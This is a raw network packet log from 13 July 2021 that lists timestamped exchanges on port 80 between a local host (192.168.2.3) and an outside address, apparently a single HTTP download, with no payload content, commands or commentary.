Jul 13, 2021 14:37:54.863852024 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.863873959 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863895893 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863918066 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863929033 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.863941908 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863965034 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.863966942 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863991976 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863993883 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.864013910 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864036083 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864043951 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.864059925 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864080906 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864083052 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.864104033 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864126921 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864151001 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.864151955 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864176035 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864193916 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.864197016 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864218950 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864228010 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.864242077 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864262104 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864284039 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864285946 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.864305973 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864310026 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.864332914 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864351988 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.864356041 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864378929 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864401102 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864409924 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.864425898 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864445925 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864449024 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.864464998 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864481926 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864495993 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.864504099 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864523888 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864527941 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.864546061 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864573002 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864588976 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.864594936 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864615917 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864624023 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.864638090 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864660025 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.864660978 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864682913 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864706039 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864727020 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864727974 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.864748955 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864759922 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.864768982 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864793062 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864800930 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.864814043 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864835978 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864835978 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.864860058 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864882946 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864891052 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.864906073 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864928961 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864931107 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.864950895 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864974022 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.864975929 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.864998102 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865016937 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865021944 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.865036964 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865056992 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865058899 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.865075111 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865098000 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865099907 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.865118980 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865139961 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865159035 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865161896 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.865181923 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865196943 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.865204096 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865226984 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865236998 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.865247965 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865268946 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.865273952 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865294933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865313053 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865320921 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.865333080 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865354061 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865360975 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.865375042 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865412951 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865434885 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865436077 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.865462065 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865469933 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.865482092 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865502119 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865504980 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.865523100 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865540981 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865557909 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865566969 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.865576029 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865595102 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865619898 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865628004 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.865650892 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865652084 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.865679026 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.865760088 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865798950 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865807056 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.865833044 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865854979 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865878105 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.865900040 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865923882 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865946054 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865967035 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.865983009 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.865989923 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.866012096 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.866031885 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.866038084 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.866060972 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.866081953 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.866089106 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.866105080 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.866127014 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.866130114 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.866162062 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.866170883 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.866184950 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.866208076 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.866230011 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.866251945 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.866251945 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.866276026 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.866302013 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.866322041 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.866324902 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.866360903 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.866393089 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.866420031 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.866446018 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.866468906 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.866489887 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.866492033 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.866513014 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.866534948 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.866564035 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.866588116 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.866609097 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.866611004 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.866635084 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.866660118 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.866692066 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.866718054 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.866740942 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.866763115 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.866765976 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.866786003 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.866802931 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.866808891 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.866827011 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.866831064 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.866853952 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.866874933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.866878033 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.866900921 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.866939068 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.866946936 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.866961956 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.866986036 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.867157936 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.867202997 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.867218018 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.867225885 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.867248058 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.867286921 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.867353916 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.867377996 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.867399931 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.867420912 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.867428064 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.867444038 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.867448092 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.867465973 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.867489100 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.867491961 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.867516041 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.867551088 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.869653940 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.869683027 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.869705915 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.869750023 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.870291948 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.870393038 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.870434046 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.870455980 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.870482922 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.870507956 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.870539904 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.870565891 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.870569944 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.870610952 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.870646000 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.870676041 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.870699883 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.870702982 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.870743990 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.870767117 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.870790958 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.870810032 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.870816946 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.870843887 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.870867968 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.870883942 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.870913029 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.870929956 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.870958090 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.870980024 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871001005 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871011019 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.871045113 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871062994 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.871073961 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871098995 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871145010 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.871151924 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871200085 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.871202946 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871237040 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871283054 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871299982 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.871309996 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871332884 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871356964 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871361971 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.871385098 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871402979 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.871408939 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871432066 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871454000 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871468067 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.871476889 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871489048 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.871500015 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871520996 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871546030 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871547937 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.871572018 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871592999 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.871597052 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871620893 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871643066 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871659040 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871659994 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.871671915 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871692896 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871702909 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.871715069 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871726990 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.871731043 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871747017 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871762037 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871764898 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.871778011 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871795893 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871805906 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.871813059 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871828079 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871839046 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.871843100 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871859074 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871865034 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.871872902 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871887922 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871900082 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871900082 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.871913910 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871937037 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871947050 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.871948004 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871963978 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871978998 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.871997118 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.871997118 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872014046 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872028112 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872030020 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.872040033 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872056007 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872056007 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.872071981 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872087002 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872093916 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.872102976 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872117996 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872133017 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872139931 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.872152090 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872165918 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.872169018 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872184038 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872196913 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.872200012 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872215986 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872226954 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.872230053 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872245073 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872261047 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872283936 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872284889 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.872304916 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872325897 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.872328043 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872349024 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.872365952 CEST	80	49757	47.254.186.176	192.168.2.3
